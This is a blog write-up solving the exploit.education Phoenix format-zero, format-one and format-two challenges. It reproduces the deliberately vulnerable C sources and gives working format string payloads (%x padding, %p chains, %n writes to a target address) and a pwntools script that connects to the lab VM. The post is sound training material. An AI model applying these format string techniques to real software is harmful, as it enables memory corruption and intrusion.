BuringStraw

BuringStraw

[pwn Notes 4] format-zero, format-one, format-two (phoenix)

The new chapter discusses the story of exploiting format string vulnerabilities.
Format-two is a collection of x86 solutions. It took me a while to find out how to avoid the pitfall of \x00 in x86_64, and I finally found it in a comment section.

format-zero#

Source Code#

/*
 * phoenix/format-zero, by https://exploit.education
 *
 * Can you change the "changeme" variable?
 *
 * 0 bottles of beer on the wall, 0 bottles of beer! You take one down, and
 * pass it around, 4294967295 bottles of beer on the wall!
 */

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

int main(int argc, char **argv) {
  struct {
    char dest[32];
    volatile int changeme;
  } locals;
  char buffer[16];

  printf("%s\n", BANNER);

  if (fgets(buffer, sizeof(buffer) - 1, stdin) == NULL) {
    errx(1, "Unable to get buffer");
  }
  buffer[15] = 0;

  locals.changeme = 0;

  sprintf(locals.dest, buffer);

  if (locals.changeme != 0) {
    puts("Well done, the 'changeme' variable has been changed!");
  } else {
    puts(
        "Uh oh, 'changeme' has not yet been changed. Would you like to try "
        "again?");
  }

  exit(0);
}

Solve#

By using a 15-character format string, we can generate an output of more than 32 bits to overwrite changeme.

The variable arguments in C are stored on the stack and there is no validation of the number of arguments. So we can just generate a bunch of numbers.

user@phoenix-amd64:~$ python -c "print('%x'*15)"|/opt/phoenix/amd64/format-zero
Welcome to phoenix/format-zero, brought to you by https://exploit.education
Well done, the 'changeme' variable has been changed!

Let's see what was formatted in memory using gdb:

(gdb) p (char*)0x00007fffffffe650
$4 = 0x7fffffffe650 "ffffe640f7ffc546712e712ea0a0a0affffe6d8078257825"

There are 48 bits.

Oh, I suddenly remembered that we can use "%32x"... (Why is 32 bits enough? Because there is a "\n" at the end of the input)

format-one#

Change changeme to a fixed value of 0x45764f6c. We just need to append it to the previous solution.

user@phoenix-amd64:~$ python -c "from pwn import *;print('%32x'+p64(0x45764f6c))"|/opt/phoenix/amd64/format-one
Welcome to phoenix/format-one, brought to you by https://exploit.education
Well done, the 'changeme' variable has been changed correctly!

p64 is used to pack a 64-bit integer into bytes.

format-two#

Source Code#

/*
 * phoenix/format-two, by https://exploit.education
 *
 * Can you change the "changeme" variable?
 *
 * What kind of flower should never be put in a vase?
 * A cauliflower.
 */

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

int changeme;

void bounce(char *str) {
  printf(str);
}

int main(int argc, char **argv) {
  char buf[256];

  printf("%s\n", BANNER);

  if (argc > 1) {
    memset(buf, 0, sizeof(buf));
    strncpy(buf, argv[1], sizeof(buf));
    bounce(buf);
  }

  if (changeme != 0) {
    puts("Well done, the 'changeme' variable has been changed correctly!");
  } else {
    puts("Better luck next time!\n");
  }

  exit(0);
}

Theory#

Use %n to write the number of bytes already outputted to a specific address.

Since there are no additional arguments after printf, we can write to a specific address on the stack.

First, we need to find out how far the stack top is from the input we can control, and then insert %p to consume 8 bytes.

The situation is a bit different between x86 and x86_64. For x86, we can do it like this (https://n1ght-w0lf.github.io/binary%20exploitation/format-two/):

/opt/phoenix/i486/format-two $'\x68\x98\x04\x08%x %x %x %x %x %x %x %x %x %x %x %n \n'

Put the address we want to write to (changeme's address) at the beginning, and then write %x based on the calculated distance from the stack top to the string. However, the changeme address in x86_64 ends with \x00, so doing it like above will be truncated. But we can do it like this (https://blog.lamarranet.com/index.php/exploit-education-phoenix-format-two-solution/ comment section):

/opt/phoenix/amd64/format-two $'%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%n\xf0\x0a\x60'

Each additional %p string increases the length by two bytes, but it can consume 8 bytes on the stack. This creates a chasing problem until a certain number, where %n is right below 0x00600af0 on the stack.

Pitfall#

When using $(balabala) as a parameter in bash, if there is a newline inside, it will automatically become two parameters.
So we can't do this:

/opt/phoenix/amd64/format-two $(cat payload)

Python Solution#

from pwn import *

shell = ssh("user", "localhost", password="user", port=2222)
shellcode = b'%p'*15+b'%n\xf0\x0a\x60'

sh = shell.process(argv=["/opt/phoenix/amd64/format-two", shellcode])

sh.interactive()
Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.